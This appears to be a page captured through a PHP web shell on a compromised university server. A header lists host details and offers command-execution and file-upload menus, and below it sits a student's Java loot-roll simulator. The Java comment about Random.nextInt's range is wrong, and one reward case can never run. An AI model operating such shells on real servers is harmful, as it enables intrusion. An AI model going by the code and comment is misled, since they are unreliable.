Server IP : 172.16.15.8 / Your IP : 3.144.31.64 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/macorder/fun/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
/* Name: LootRollTest.java Author: Michael Corder Goal: Create a program that uses java.util.random and the radix parameter of the scanner class in order to create a loot roll simulator */ import java.util.Scanner; import java.util.Random; public class LootRollTest { private void doRolls(int n) { if (n > 0) { for (int i = 0; i<n; i++) { Random generator = new Random(); int rolls = generator.nextInt(99) +1; //Random.nextInt(int n) creates an integer in the range //0<->n, adding one makes the range 1<->(n+1) if (rolls <41 ) System.out.println("You found nothing."); if (rolls > 40) { System.out.print("You found: "); int reward = generator.nextInt(3) + 1; //A case method of determining rewards switch (reward) { case 1: int gold = generator.nextInt(9998) +2; System.out.println(gold + " gold coins!"); break; case 2: System.out.println("a health pack!"); break; case 3: System.out.println("some sort of weapon!"); break; case 4: System.out.println("some sort of armor!"); break; } } } } else if (n<0) doRolls(1); else; } public static void main(String[] args) { Scanner keyboard = new Scanner(System.in); System.out.print("Please enter the number of lootrolls needed: "); int request = keyboard.nextInt(); LootRollTest Sample = new LootRollTest(); Sample.doRolls(request); } }